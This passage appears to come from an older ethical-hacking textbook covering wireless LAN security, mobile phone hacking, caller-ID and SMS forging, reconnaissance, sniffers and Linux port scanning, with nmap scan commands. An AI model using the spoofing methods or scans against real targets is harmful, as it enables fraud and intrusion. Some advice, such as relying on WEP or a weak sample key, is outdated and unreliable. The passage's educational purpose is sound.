  1245. Demand for wireless access to LANs is fueled by the growth of mobile computing devices, such as laptops and personal
  1246. digital assistants, and by users’ desire for continuous network connections without physically having to plug into wired
  1247. systems.
  1248. For the same reason that WLANs are convenient, their open broadcast infrastructure, they are extremely vulnerable to
  1249. intrusion and exploitation. Adding a wireless network to an organization’s internal LAN may open a backdoor to the
  1250. existing wired network.
  1251. The IEEE 802.11 standard refers to a family of specifications for wireless local area networks (WLANs) developed by a
  1252. working group of the Institute of Electrical and Electronics Engineers (IEEE). This standards effort began in 1989, with the
  1253. focus on deployment in large enterprise networking environments, effectively a wireless equivalent to Ethernet. The IEEE
  1254. accepted the specification in 1997. Standard 802.11 specifies an over-the-air interface between a mobile device wireless
  1255. client and a base station or between two mobile device wireless clients.
  1256. Wireless Standards
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  1260. • WAP (Wireless Access Point):
  1261. Wireless Access Point is the point from where the Wireless network are generated. Like the Wireless Routers or
  1262. Switches.
  1263. •SSID (Service Set Identifier):
  1264. An SSID is the name of a wireless local area network (WLAN). All wireless devices on a WLAN must employ the same
  1265. SSID in order to communicate with each other. SSID is also known as ESSID (Extended Service Set Identifier).
  1266. • BSSID (Basic Service Set Identifier):
  1267. A BSSID is the MAC Address (Media Access Control) or Physical Address of the Wireless Access Point or the Wireles
  1268. Router. This is a unique 48 bit key provided by the manufacturer of the device. It can be in the form of Hexadecimal
  1269. i.e. 0-9 , A-F.
  1270. E.g. 00:A1:CB:12:54:9F
  1271. • For checking your card’s MAC Address:
  1272. Start > Run > CMD
  1273. Write “getmac” in Command Prompt.
  1274. • Beacons:
  1275. These are the Wireless Packets which are broadcasted to maintain the connectivity with the Wireless Access
  1276. Point and Client systems. The Wireless Access point broadcasts beacon frames from time to time to check
  1277. connectivity with the systems.
  1278. • Channel:
  1279. It is the frequency at with the Wireless Signal travels through air.
  1280. • Data Packets:
  1281. These are the packets which sent and received for the transfer of data between Wireless Access Point and
  1282. Client systems. All the data communicated between two Computers travels in the form of Data Packets.
  1283. • Data Packets:
  1284. These are the packets which sent and received for the transfer of data between Wireless Access Point and
  1285. Client systems. All the data communicated between two Computers travels in the form of Data Packets.
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  1289. Services provided by Wireless Networks
  1290. • Association:
  1291. It establishes wireless links between wireless clients and access points in infrastructure networks.
  1292. • Re-association:
  1293. This action takes place in addition to association when a wireless client moves from one Basic Service Set
  1294. (BSS) to another, such as in Roaming.
  1295. • Authentication:
  1296. This process proves a client’s identity through the use of the 802.11 option, Wired Equivalent Privacy
  1297. (WEP). In WEP, a shared key is configured into the access point and its wireless clients. Only those
  1298. devices with a valid shared key will be allowed to be associated with the access point.
  1299. •Privacy:
  1300. In the 802.11 standard, data are transferred in the clear by default. If confidentiality is desired, the WEP
  1301. option encrypts data before it is sent wirelessly. The WEP algorithm of the 802.11 Wireless LAN Standard
  1302. uses a secret key that is shared between a mobile station (for example, a laptop with a wireless Ethernet
  1303. card) and a base station access point to protect the confidentiality of information being transmitted on
  1304. the LAN.
  1305. Standard Wireless Security Solution
  1306. Wireless Security policies are developed or enhanced to accommodate the wireless environment. Primary issues will be
  1307. ownership and control of the wireless network, controlling access to the network, physically securing access points,
  1308. encrypting, auditing, and the procedures for detecting and handling rogue access points or networks. User security
  1309. awareness policies should be implemented.
  1310. SSID Solution
  1311. Wireless equipment manufacturers use a default Service Set ID (SSID) in order to identify the network to wireless clients.
  1312. All access points often broadcast the SSID in order to provide clients with a list of networks to be accessed. Unfortunately,
  1313. this serves to let potential intruders identify the network they wish to attack. If the SSID is set to the default manufacturer
  1314. setting it often means that the additional configuration settings (such as passwords) are at their defaults as well.
  1315. Good security policy is to disable SSID broadcasting entirely. If a network listing is a requirement for network users then
  1316. changing the SSID to something other than the default, that does not identify the company or location, is a must. Be sure
  1317. to change all other default settings as well to reduce the risk of a successful attack.
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  1321. MAC address filtering
  1322. Some 802.11 access point devices have the ability to restrict access to only those devices that are aware of a specific
  1323. identification value, such as a MAC address. Some access point devices also allow for a table of permitted and denied
  1324. MAC addresses, which would allow a device administrator to specify the exact remote devices that are authorized to
  1325. make use of the wireless service. Client computers are identified by a unique MAC address of its IEEE 802.11 network
  1326. card. To secure an access point using MAC address filtering, each access point must have a list of authorized client MAC
  1327. address in its access control list.
  1328.  We can Prevent or Permit machines on the behalf of MAC Addresses.
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  1332. WEP key encryption
  1333. The IEEE 802.11b standard defines an optional encryption scheme called Wired Equivalent Privacy (WEP), which creates a
  1334. mechanism for securing wireless LAN data streams. WEP was part of the original IEEE 802.11 wireless standard. These
  1335. algorithms enable RC4-based, 40-bit data encryption in an effort to prevent an intruder from accessing the network and
  1336. capturing wireless LAN traffic.
  1337. WEP’s goal is to provide an equivalent level of security and privacy comparable to a wired Ethernet 802.3 LAN. WEP uses a
  1338. symmetric scheme where the same key and algorithm are used for both encryption and decryption of data. WEP is
  1339. disabled by default on most wireless network equipment.
  1340. Wireless security Overview
  1341. Two methods exist for authenticating wireless LAN clients to an access point: Open system or Shared key authentication.
  1342. 1. Open system does not provide any security mechanisms but is simply a request to make a connection to the network.
  1343. 2. Shared key authentication has the wireless client hash a string of challenge text with the WEP key to authenticate to
  1344. the network.
  1345. Wireless Attacks
  1346. Broadcast Bubble :
  1347. One of the problems with wireless is that the radio waves that connect network devices do not simply stop
  1348. once they reach a wall or the boundary of a business. They keep traveling into parking lots and other
  1349. businesses in an expanding circle from the broadcast point, creating a ‘bubble’ of transmission radiation.
  1350. This introduces the risk that unintended parties can eavesdrop on network traffic from parking areas or any
  1351. other place where a laptop can be set up to intercept the signals.
  1352. War Driving :
  1353. War Driving is finding out the Wireless Networks present around the Wireless Card. common war driving
  1354. exploits find many wireless networks with WEP disabled and using only the SSID for access control. This
  1355. vulnerability makes these networks susceptible to the parking lot attack, where an attacker has the ability to
  1356. gain access to the target network a safe distance from the building’s perimeter.
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  1360. WAR Driving is of two types:
  1361. 1. Active War Driving
  1362. 2. Passive War Driving
  1363. Active War Driving :
  1364. Active War Driving is detecting the Wireless Networks whose SSIDs are broadcasted or the Wireless
  1365. Networks which are shown to all the Wireless Adapters. It can be done through any Wireless Card.
  1366. Passive War Driving :
  1367. Passive War Driving is detecting the Wireless Networks whose SSIDs are not Broadcasted or the Hidden
  1368. Wireless Networks. The Wireless card should support the Monitor Mode for the Passive War Driving.
  1369. MAC spoofing
  1370. Even if WEP is enabled, MAC addresses can be easily sniffed by an attacker as they appear in the clear format, making
  1371. spoofing the MAC address also fairly easy.
  1372. MAC addresses are easily sniffed by an attacker since they must appear in the clear even when WEP is enabled. An
  1373. attacker can use those “advantages” in order to masquerade as a valid MAC address, by programming the wireless card or
  1374. using a spoofing utility, and get into the wireless network.
  1375. WEP cracking
  1376. • Wired Equivalent Privacy (WEP) was the first security option for 802.11 WLANs. WEP is used to encrypt data on the
  1377. WLAN and can optionally be paired with shared key authentication to authenticate WLAN clients. WEP uses an RC4 64-bit
  1378. or 128-bit encryption key.
  1379. • WEP was fairly quickly found to be crack able. WEP is vulnerable because of relatively short and weak encryption. The
  1380. security of the WEP algorithm can be compromised.
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  1384. Countermeasures for Wireless attacks
  1385. Hide the Wireless Network:
  1386. Do not broadcast the SSID of the Wireless Network. This will help you in protecting your
  1387. Wireless being invisible to the people who do not know about Passive War Driving
  1388. Use a Secured Key :
  1389. You can use the WEP Key protection on your Wireless Network to protect your Wireless
  1390. Network Connection.
  1391. Although this is not the ultimate security measure but will help you a lot against the Script
  1392. Kiddies who do not know how to break into the WEP Protection.
  1393. WPA: Wi-Fi Protected Access
  1394. •WPA employs the Temporal Key Integrity Protocol (TKIP)—which is a safer RC4 implementation—for data encryption
  1395. and either WPA Personal or WPA Enterprise for authentication.
  1396. •WPA Enterprise is a more secure robust security option but relies on the creation and more complex setup of a RADIUS
  1397. server. TKIP rotates the data encryption key to prevent the vulnerabilities of WEP and, consequently, cracking attacks.
  1398. Mac Filtering
  1399. An early security solution in WLAN technology used MAC address filters: A network administrator entered a list of valid
  1400. MAC addresses for the systems allowed to associate with the Wireless Access Point.
  1401. Choosing the Best Key
  1402. Always use a long WPA Key with lower as well as upper case letters including numbers and special characters.
  1403. Sample Key: 12345@abcde&FGHI
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  1407. 7. Mobile hacking – SMS & Call forging
  1408. It was bound to happen - they have hacked just about everything else. Now it's the cell phones. Cellphone hacking has
  1409. just recently surfaced and been made public ever since some one did some cellular phone hacking on Paris Hilton's cell
  1410. phone.
  1411. This article will give you some information about what is going on out there and what you can do to better protect your
  1412. cell phone information.
  1413. What Does It Involve
  1414. The fact of someone hacking cell phone became public knowledge when Paris Hilton's cell phone, along with her
  1415. information was recently hacked. Unfortunately for her, all her celebrity friends and their phone numbers were also
  1416. placed on the Internet - resulting in a barrage of calls to each of them.
  1417. Cell phone hackers have apparently found a glitch in the way the chips are manufactured. The good news, though, is that
  1418. it only applies to the first generation models of cell phones that use the Global System for Mobile communications (GSM).
  1419. Another requirement is that the hacker must have physical access to the cell phone for at least three minutes - which is a
  1420. real good reason not to let it out of your sight. Currently, although the problem has been remedied (at least for now) in
  1421. the second and third generation phones, it seems that about 70% of existing cell phones fall within the first generation
  1422. category.
  1423. Another way that mobile phone hacking can take place is for a hacker to walk around an area with people that have cell
  1424. phones and a laptop that has cellphone hacker programs on it. Through an antenna, and a little patience, his computer
  1425. can literally pick up your cell phone data - if it is turned on. This is more applicable to cell phones that use Bluetooth
  1426. technology.
  1427. What Can A Hacker Do?
  1428. Surprisingly, there are quite a number of things that can be accomplished by the hacker. Depending on their intent here
  1429. are a few of them.
  1430.  Steal Your Number
  1431. Your phone number can be accessed and obtained by cellphone hacking. This allows them to make calls and have
  1432. it charged to your account.
  1433.  Take Your Information
  1434. Mobile hacking allows a hacker to contact your cell phone, without your knowledge, and to download your
  1435. addresses and other information you might have on your phone. Many hackers are not content to only get your
  1436. information. Some will even change all your phone numbers! Be sure to keep a backup of your information
  1437. somewhere. This particular technique is called Bluesnarfing.
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  1441. Be Prepared for Cell Phone Hacks
  1442.  Rob Your Money
  1443. Other options might use a particular buying feature called SMS. This refers to the fact that money can be taken
  1444. from your account and transferred into another and a good hacker can sit in one place and access a lot of phones
  1445. and transfer a lot of money rather quickly - probably in less time than you think!
  1446.  Give The System A Virus
  1447. By using another cell phone hack code, a hacker could kidnap your phone, send it a camouflaged program or send
  1448. it a virus. But it does not end there, since, from that point, he can use your phone to retransmit the virus to many
  1449. other phones almost instantly - potentially disabling the system.
  1450.  Spy On You
  1451. A hacker can also gain access and take over for cell phone spying and remote mobile phone hacking. Literally,
  1452. once secured, the hacker can have the phone call him, and then be able to listen to all conversations going on
  1453. around the owner of the phone.
  1454.  Access Your Voice Mails
  1455. Voice mails can also be retrieved by a hacker through a hacking cell phone. After stealing your number, this can
  1456. easily be done - if your password is disabled. The main thing that needs to be understood here, is that the
  1457. electronics that give you the modern convenience of interacting with the Internet (getting your voice mails,
  1458. emails, Web surfing, etc.) , is also the same technology that allows you to receive the same ills as can befall
  1459. someone on the Internet.
  1460. What Can You Do?
  1461. It seems that the major cell phone companies, at least at this point, really are not interested in bringing the system up to
  1462. be able to cope with this threat. Meetings are starting to take place, but for now it is not perceived to be real serious. This
  1463. could be because it is primarily the older phones that are most susceptible to some types of this mobile hacking.
  1464. Until the cell phone manufacturers are able to cope with, or eliminate, the glitches in the system that allows them to
  1465. overcome these problems, you will largely have to help yourself to cope with these things. Here are a couple of tips that
  1466. will help you protect your cell phone, its information, and other things.
  1467.  Use Your Passwords
  1468. The cell phone companies tell us that many people have turned off their passwords when they access their voice
  1469. mail messages, or other things. This little feature, though it may seem to be an annoyance to some, could protect
  1470. your phone from unauthorized purposes.
  1471.  Leave The Phone Off
  1472. This one is obviously the harder choice, here, simply because most of us who have cell phones like to be reached
  1473. anytime and anywhere. Others do need to be reachable at all times.
  1474.  Upgrade Your Phone
  1475. While this cannot guarantee that your phone is not hackable, it certainly will help. It should be remembered that
  1476. the phone companies work hard to deliver the best technology and conveniences - but the cell phone hacks work
  1477. just as hard to be the first to break the systems designed to defeat them. It is an ongoing battle.
  1478. Cellular phone hacking, for now, is a fact of life that affects a few of us. Gladly, the numbers are still small, but
  1479. many feel this problem is just getting started. By being aware of the problems, you can wisely take steps to
  1480. prevent them from happening to you. Cellphone hacking does not need to catch you unprepared.
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  1484. Call Spoofing / Forging
  1485. • Call forging is method to spoof caller id number displayed on the mobile phone/landline.
  1486. • It relies on VoIP (Voice over Internet Protocol)
  1487. • VoIP is emerging & exciting innovation as far as Information & communication technology is concerned.
  1488. • Can be considered as GEN Next Cyber Crime.
  1489. About Caller Id Forging/Spoofing
  1490. Caller ID Forging the practice of causing the telephone network to display a number on the recipient's caller ID display
  1491. which is not that of the actual originating station; the term is commonly used to describe situations in which the
  1492. motivation is considered nefarious by the speaker. Just as e-mail spoofing can make it appear that a message came from
  1493. any e-mail address the sender chooses, caller ID forging can make a call appear to have come from any phone number the
  1494. caller wishes. Because people are prone to assume a call is coming from the number (and hence, the associated person,
  1495. or persons), this can call the service's value into question.
  1496. Basics of Call Forging
  1497. Firstly the voip is used to call via internet PC to a telephone.
  1498. In the Voip there is a loop hole which allow a intruder to spoof a call.
  1499. There are many website on the net which provide the facility of the internet calling.
  1500. This website work as follows,first the call the source phone no then the destiation number and then bridge them
  1501. togather.
  1502. Here there is no authentication done by the website and server are normally located in US and so tracing of the
  1503. intruder is not possible.
  1504. Thus the intruder logs on to this server and gives a wrong source number and then place a call over internet
  1505. which is actually a spoofed call which shows wrong identity.
  1506. Also there a no laws regarding the call spoofing in India and so a intruder if gets traced is easily backed by the
  1507. loophole of no laws for it.
  1508. thus if you get calls from other numbers dont trust it they may be spoofed calls.
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  1512. SMS Forging
  1513. • SMS is one of the most popular means of communications.
  1514. • SMS Forging is the method to spoof sender id of SMS.
  1515. • One can send SMS to international Number from any number of sender’s choice.
  1516. • Facility to choose sender id upto 11 characters/name.
  1518. of all the sender send the SMS via SMS gateway. The identity of the sender is attached to the SCCP packer of the
  1519. SMS. The SMS once reach the SMS gateway is routed to the destination Gateway and then to the receiver’s handset.
  1520. There are many ways by which we can send SMS to the SMS gateway.
  1521. One of them is to use internet.
  1522. Now the concept of SMS forging lies in changing the SCCP packer which contains the sender information prior delivering
  1523. to the SMS gateway.
  1524. The intruder can change the SCCP packet and can send that packet to any of the receiver as a spoofed SMS.
  1525. Some of the Website on the net also provide this facility.
  1526. 0791 7283010010F5 040BC87238880900F1
  1527. 0000993092516195800AE8329BFD4697D9.
  1528. 07- Length of the SMSC information (in this case 7 octets)
  1529. 91 - Type-of-address of the SMSC. (91 means international format of the phone number)
  1530. 72 83 01 00 10 F5 - Service center number(in decimal semi-octets). The length of the phone number is odd (11), so a
  1531. trailing F has been added to form proper octets. The phone number of this service center is "+27381000015".
  1532. 04- First octet of this SMS-DELIVER message
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  1536. 0B-Address-Length. Length of the sender number (0B hex = 11 dec)
  1537. C8-Type-of-address of the sender number
  1538. 72 38 88 09 00 F1- Sender number (decimal semi-octets), with a trailing F.
  1539. • When SMS is sent using an application, it is routed through international gateways.
  1540. • Spoofing of Message Id(SDCCH/SCCP Info) take place at International gateway.
  1541. • Finally SMS is routed to destination SMS Center number.
  1542. • As there is no authentication system, it is sent to destination number with spoof ID.
  1543. Bluesnarfing
  1544. Bluesnarfing is the theft of information from a wireless device through a Bluetooth connection, often between phones,
  1545. desktops, laptops, and PDAs. This allows access to a calendar, contact list, emails and text messages. Bluesnarfing is much
  1546. more serious in relation to Bluejacking, although both exploit others’ Bluetooth connections without their knowledge.
  1547. Any device with its Bluetooth connection turned on and set to “discoverable” (able to be found by other Bluetooth
  1548. devices in range) can be attacked. By turning off this feature you can be protected from the possibility of being
  1549. Bluesnarfed. Since it is an invasion of privacy, Bluesnarfing is illegal in many countries.
  1550. There are people who have predicted the doom of bluetooth tooth attacks like bluesnarfing. Their reasoning is that WiFi
  1551. will eventually replace the need for bluetooth devices and without bluetooth, it make sense there will be no bluetooth
  1552. attacks.
  1553. While convincing and logical, bluetooth have yet to be phased out long after WiFi is in use. In face, there are more and
  1554. more devices using bluetooth technology. The main reason: It's free. Unlike wifi which is a overall network and you are
  1555. just a "user" in the network, you "own the network". You can switch in on and off anytime you like, and you don't have to
  1556. pay a cent. There is no logic for example to use wifi for connecting with your headset, but bluetooth fits that function
  1557. perfectly.
  1558. In fact, this neglect on the importance of bluetooth has led to an added advantage to bluesnarfers. Because every is
  1559. concern about their wifi security, they neglect the fact that their short ranged network which is their bluetooth can easier
  1560. be hacked into for someone who is nearby or even far away but with the right equipment.
  1561. The reason why there is little news about bluesnarfing is that there is no good solution to the problem at the moment,
  1562. save for switching off your bluetooth device.
  1563. So my advice is, be careful if you keep confidential information on your bluetooth devices.
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  1567. We will learn about call forging and sms forging in the later part of the book.
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  1571. 8. Information gathering and Scanning
  1572. Why Information gathering?
  1573. • Information Gathering can reveal online footprints of criminal.
  1574. • Information Gathering can help investigator to profile criminals
  1575. Information gathering of websites
  1576. We need to gather the following information about the website :
  1577. • Whois Information
  1578. • Owner of website.
  1579. • Email id used to register domain.
  1580. • Domain registrar.
  1581. • Domain name server information.
  1582. • Releted websites.
  1583. We can use website www.domaintools.com for this puropse.
  1584. Whois
  1585. Whois is query to database to get following information.
  1586. 1.Owner of website.
  1587. 2.Email id used to register domain.
  1588. 3.Domain registrar.
  1589. 4. Domain name server information.
  1590. 5. Releted websites.
  1591. Reverse IP mapping
  1592. • Reverse IP will give number of websites hosted on same server.
  1593. • If one website is vulnerable on the server then hacker can easily root the server.
  1594. • Domainbyip.com
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  1598. • Trace Route
  1599. Information Gathering Using Search Engine
  1600. • Search engines are efficient mediums to get specific results according to your requirements.
  1601. • Google & yahoo search engine gives best results out of all.
  1602. • But Specifically using www.kartoo.com will give us good information about the search.
  1603. • This type of search engines retrieves results from different search engine & make relation or connections between
  1604. those results.
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  1608. • Maltego is an open source intelligence and forensics application.
  1609. • It allows for the mining and gathering of information as well as the representation of this information in a meaningful
  1610. way.
  1611. • Coupled with its graphing libraries, Maltego, allows you to identify key relationships between information and identify
  1612. previously unknown relationships between them.
  1613. • Almost 80% internet users use blogs/forums for knowledge sharing purpose.
  1614. • Information gathering from specific blog will also helpful in investigations.
  1615. • Information gathering from Social Networking websites can also reveal personal info about suspect.
  1616. • Many websites stored email id lists for newsletters. These email ids can also be retrieved using email spiders.
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  1620. Detecting ‘live’ systems on target network
  1621. Why Detecting ‘live’ systems on tagret network ?
  1622.  To determine the perimeter of the target network /system
  1623.  To facilitate network mapping
  1624.  To build an inventory of accessible systems on target network
  1625. Tools used for this
  1626.  War Dialers
  1627.  Ping Utilities
  1628. War Dialers
  1629.  A war dialer is a tool used to scan a large pool of telephone numbers to detect vulnerable modems to provide
  1630. access to the system.
  1631.  A demon dialer is a tool used to monitor a specific phone number and target its modem to gain access to the
  1632. system.
  1633.  Threat is high in systems with poorly configured remote access products providing entry to larger networks.
  1634.  Tools include THC-Scan, ToneLoc, TBA etc.
  1635. The term war dialing implies the exploitation of an organization's telephone, dial, and private branch exchange (PBX)
  1636. systems to infiltrate the internal network and use of computing resources during the actual attack. It may be surprising
  1637. why we are discussing war dialing here as more PBX systems are coming with increased security configurations. However,
  1638. the fact remains that there are as many insecure modems out there that can be compromised to gain access into the
  1639. target system. What had initially caught the fancy of hackers in the movie 'war games', still manages to find carriers
  1640. leading to compromise of systems. The war dialer in War Games is not very sophisticated as it only finds phone numbers
  1641. which are suspected to be computer dial-in lines. A more aggressive version might actually attempt to determine the
  1642. operating system, and a very aggressive version might attempt to perform some automated break -in attempts itself. If A
  1643. real scanner with this functionality will attempt to analyze the carrier information, the negotiation and presence of
  1644. protocols and/or banners to attempt to determine the remote system. It will then attempt to use default
  1645. username/password combinations for that system.
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  1649. 9. Sniffers
  1650. Sniffers are almost as old as the Internet itself. They are one of the first tools that allowed system administrators to
  1651. analyze their network and pinpoint where a problem is occurring. Unfortunately, crackers also run sniffers to spy on your
  1652. network and steal various kinds of data. This paper discusses what a sniffer is, some of the more popular sniffers, and
  1653. ways to protect your network against them. It also talks about a popular tool called Antisniff, which allows you to
  1654. automatically detect sniffers running on your network.
  1655. What are Sniffers ?
  1656. In a non-switched network, Ethernet frames broadcast to all machines on the network, but only the computer that the
  1657. packets are destined for will respond. All of the other machines on that network still see the packet, but if they are not
  1658. the intended receiver, they will disregard it. When a computer is running sniffer software and it’s network interface is in
  1659. promiscuous mode (where it listens for ALL traffic), then the computer has the ability to view all of the packets crossing
  1660. the network.
  1661. If you are an Internet history buff and have been wondering where the term sniffer came from. Sniffer was a product that
  1662. was originally sold by Network General. It became the market leader and people starting referring to all network
  1663. analyzers as “sniffers.” I guess these are the same people who gave the name Q-Tip to cotton swabs.
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  1667. Who uses Sniffers ?
  1668. LAN/WAN administrators use sniffers to analyze network traffic and help determine where a problem is on the network. A
  1669. security administrator could use multiple sniffers, strategically placed throughout their network, as an intrusion detection
  1670. system. Sniffers are great for system administrators, but they are also one of the most common tools a hacker uses.
  1671. Crackers install sniffers to obtain usernames, passwords, credit card numbers, personal information, and other
  1672. information that could be damaging to you and your company if it turned up in the wrong hands. When they obtain this
  1673. information, crackers will use the passwords to attack other Internet sites and they can even turn a profit from selling
  1674. credit card numbers.
  1675. Defeating Sniffers
  1676. One of the most obvious ways of protecting your network against sniffers is not to let them get broken into in the first
  1677. place. If a cracker cannot gain access to your system, then there is no way for them to install a sniffer onto it. In a perfect
  1678. world, we would be able to stop here. But since there are an unprecedented number of security holes found each month
  1679. and most companies don’t have enough staff to fix these holes, then crackers are going to exploit vulnerabilities and
  1680. install sniffers. Since crackers favor a central location where the majority of network traffic passes (i.e. Firewalls, proxies),
  1681. then these are going to be their prime targets and should be watched closely. Some other possible “victims” where
  1682. crackers like to install sniffers are next to servers where personal information can be seen (i.e. Webservers, SMTP
  1683. servers).
  1684. A good way to protect your network against sniffers is to segment it as much as possible using Ethernet switches instead
  1685. of regular hubs. Switches have the ability to segment your network traffic and prevent every system on the network from
  1686. being able to “see” all packets. The drawback to this solution is cost. Switches are two to three times more expensive then
  1687. hubs, but the trade-off is definitely worth it. Another option, which you can combine with a switched environment, is to
  1688. use encryption. The sniffer still sees the traffic, but it is displayed as garbled data. Some drawbacks of using encryption
  1689. are the speed and the chance of you using a weak encryption standard that can be easily broken. Almost all encryption
  1690. will introduce delay into your network. Typically, the stronger the encryption, the slower the machines using it will
  1691. communicate. System administrators and users have to compromise somewhere in the middle. Even though most system
  1692. administrators would like to use the best encryption on the market, it is just not practical in a world where security is seen
  1693. as a profit taker, not a profit maker. Hopefully the new encryption standard that should be out shortly, AES (Advanced
  1694. Encryption Standard), will provide strong enough encryption and transparency to the user to make everybody happy.
  1695. Some form of encryption is better then no encryption at all. If a cracker is running a sniffer on your network and notices
  1696. that all of the data that he (or she) is collecting is garbled, then most likely they will move on to another site that does not
  1697. use encryption. But a paid or determined hacker is going to be able to break a weak encryption standard, so it is better to
  1698. play it smart and provide the strongest encryption as long as it will not have everybody giving you dirty looks when you
  1699. walk down the halls at work.
  1700. AntiSniff
  1701. In 1999, our buddies at L0pht Heavy Industries released a product called Antisniff. This product attempts to scan your
  1702. network and determine if a computer is running in promiscuous mode. This is a helpful tool because if a sniffer is
  1703. detected on your network, then 9 times out of 10, the system has been compromised. This happened to the Computer
  1704. Science Department at California State University – Stanislaus. Here is what they posted on their local website: “A sniffer
  1705. program has been found running on the Computer Science network. Sniffer programs are used to capture passwords. In
  1706. order to protect yourself please change your password. Do not use a word out of a dictionary, put a number on the end of
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  1709. Page 84
  1710. a word or use proper names. Be inventive, use special characters and have 8 characters in your password.” I am sure
  1711. there are hundreds of similar postings on internal websites throughout the world that don’t make it public as they have.
  1712. Antisniff also helps you find those system administrators who run a sniffer to find out what is wrong with their local
  1713. network, but forget to ask for authorization beforehand. If you need to run a sniffer, then you should get permission in
  1714. writing. If your Security Administrator is running Antisniff, then there is a good chance they will find it and you will have to
  1715. explain why you are running a sniffer without authorization. Hopefully your security policy has a section on sniffers and
  1716. will provide some guidance if you need to run a sniffer.
  1717. At the time of this writing, Antisniff version 1.021 is the current release. There is a nice GUI available for Windows
  1718. 95/98/and NT machines. A command line version is also available for Solaris, OpenBSD, and Linux. This version of Antisniff
  1719. only works in a “flat non-switched” environment. If your network is designed with routers and switches, then Antisniff
  1720. does not have the same functionality as in a non-switched environment. You can only use it on local networks that do not
  1721. cross a router or switch. According to Lopht’s website, the next major release of Antisniff will have the ability to figure out
  1722. if a computer is running in promiscuous mode over routers and switches. The next release of Antisniff should definitely be
  1723. more beneficial to system administrators because the price of switches are coming down and most companies are
  1724. upgrading to switches to obtain 100/Full Mbps speeds. Even though you have a totally switched environment, you are still
  1725. not out of the water. There are still firewalls, proxies, webservers, ftp servers, etc. where crackers still have the ability to
  1726. install a sniffer and capture data locally. The only difference is, you have taken away their ability to capture data over the
  1727. network.
  1728. Antisniff can also be used by blackhats to find intrusion detection systems. If they know where your intrusion detection
  1729. systems are, then they can become stealth attackers, causing you much pain because you just spend $150,000 on a new
  1730. intrusion detection system and they found a way to bypass it.
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  1734. 10. Linux Hacking
  1735. Linux is fast emerging as an affordable yet available operating system. As the popularity is growing so is the attention of
  1736. players with malicious intent to break in to the systems.
  1737. Why Linux ?
  1738.  Majority of servers around the globe are running on Linux / Unix-like platforms
  1739.  Easy to get and Easy on pocket
  1740.  There are many types of Linux -Distributions /Distros / Flavors such as Red Hat, Mandrake, Yellow Dog, Debian
  1741. etc.
  1742.  Source code is available
  1743.  Easy to modify.
  1744.  Easy to develop a program on Linux.
  1745. Linux is an operating system that can be downloaded free and "belongs" to an entire community of developers, not one
  1746. corporate entity. With more and more people looking for an alternative to Windows, Linux has recently grown in
  1747. popularity and is quickly becoming a favorite among major corporations and curious desktop users. Not only does it give
  1748. users a choice of operating systems, it also proves itself valuable with its power, flexibility, and reliability.
  1749. Linux supports most of the major protocols, and quite a few of the minor ones. Support for Internet, Novell, Windows,
  1750. and Appletalk networking have been part of the Linux kernel for some time now. With support for Simple Network
  1751. Management Protocol and other services (such as Domain Name Service), Linux is also well suited to serving large
  1752. networks. Since Linux was developed by a team of programmers over the Internet, its networking features were given
  1753. high priority. Linux is capable of acting as client and/or server to any of the popular operating systems in use today, and is
  1754. quite capable of being used to run Internet Service Providers.
  1755. Linux is an implementation of the UNIX design philosophy, which means that it is a multi-user system. This has numerous
  1756. advantages, even for a system where only one or two people will be using it. Security, which is necessary for protection of
  1757. sensitive information, is built into Linux at selectable levels. More importantly, the system is designed to multi-task.
  1758. Whether one user is running several programs or several users are running one program, Linux is capable of managing the
  1759. traffic.
  1760. Another huge advantage of an open system is a large number of software authors and beta testers. This makes the
  1761. software testing and refinement process faster and better. Because there is not a lot of commercial software for Linux,
  1762. most software written for Linux is written because the authors want to do it and there need be no compromise of quality.
  1763. Linux is "Free" in two senses. In one sense, the Linux consumer is free to modify the system and do anything he or she
  1764. wishes with it. In another sense, acquiring Linux does not necessarily require any cash outlay at all.
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  1768. There are two very popular methods for acquiring and distributing Linux: FTP and CD-ROM. Most of the major Linux
  1769. distributions (Red Hat, Debian, Slackware, Caldera) are available for free download from several popular sites. Though
  1770. time consuming, it does not cost anything beyond connection charges.
  1771. Linux is one of the more stable operating systems available today. This is due in large part to the fact that Linux was
  1772. written by programmers who were writing for other programmers and not for the corporate system. There are currently
  1773. two mature program packaging standards in the Linux world - SuSE and Mandrake. Debian and Red Hat each have their
  1774. own packaging systems; both will check dependencies, both can upgrade an entire running system without a reboot. This
  1775. makes it easy to upgrade parts or all of a system, as well as add new software, or remove unwanted software.
  1776. Scanning Networks
  1777.  Once the IP address of a target system is known, an attacker can begin the process of port scanning, looking for
  1778. holes in the system through which the attacker can gain access.
  1779.  A typical system has 2^16 -1 port numbers and one TCP port and one UDP port for each number.
  1780.  Each one of these ports are a potential way into the system.
  1781.  The most popular Scanning tool for Linux is Nmap.
  1782. Scanning helps one to know what services are running on a machine. This will show the open ports on which services are
  1783. listening for connections. Once the targets are identified, an intruder is able to scan for listening ports.
  1784. Port scanning is the process of connecting to TCP and UDP ports on the target system to determine what services are
  1785. running or in a listening state. Identifying listening ports is essential to determine the type of operating system and
  1786. application in use on the system.
  1787. Types of port scanning:
  1788. 1. TCP connect scan: This type of scan connects to the target port and completes a full three-way handshake (SYN,
  1789. SYN/ACK and ACK).
  1790. 2. TCP SYN scan: This is also called half-open scanning because it does not complete the three-way handshake,
  1791. rather a SYN packet is sent and upon receiving a SYN/ACK packet it is determined that the target machines port is
  1792. in a listening state and if an RST/ACK packet is received , it indicates that the port is not listening.
  1793. 3. TCP FIN scan: This technique sends a FIN packet to the target port and based on RFC 793 the target system should
  1794. send back an RST for all closed ports.
  1795. 4. TCP Xmas Tree scan: This technique sends a FIN, URG and PUSH packet to the target port and based on RFC 793
  1796. the target system should send back an RST for all closed ports.
  1797. 5. TCP Null scan: This technique turns off all flags and based on RFC 793, the target system should send back an RST
  1798. for all closed ports.
  1799. 6. TCP ACK scan: This technique is used to map out firewall rule sets. It can help determine if the firewall is a simple
  1800. packet filter allowing only established connections or a stateful firewall performing advance packet filtering.
  1801. 7. TCP Windows scan: This type of scan can detect both filtered and non-filtered ports on some systems due to
  1802. anomaly in the way TCP windows size is reported.
  1803. 8. TCP RPC scan: This technique is specific to UNIX systems and is used to detect and identify Remote Procedure Call
  1804. (RPC) ports and their associated program and version number.
  1805. 9. UDP scan: This technique sends a UDP packet to the target port. If the target ports responds with an "ICMP port
  1806. unreachable" message, the port is closed, if not then the port is open. This is a slow process since UDP is a
  1807. connectionless protocol; the accuracy of this technique is dependent on many factors related to utilization of
  1808. network and system resources.
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  1812. Hacking tool Nmap
  1813. http://www.insecure.org/nmap
  1814.  Stealth Scan, TCP SYN
  1815.  nmap -v -sS
  1816.  UDP Scan
  1817.  nmap -v -sU
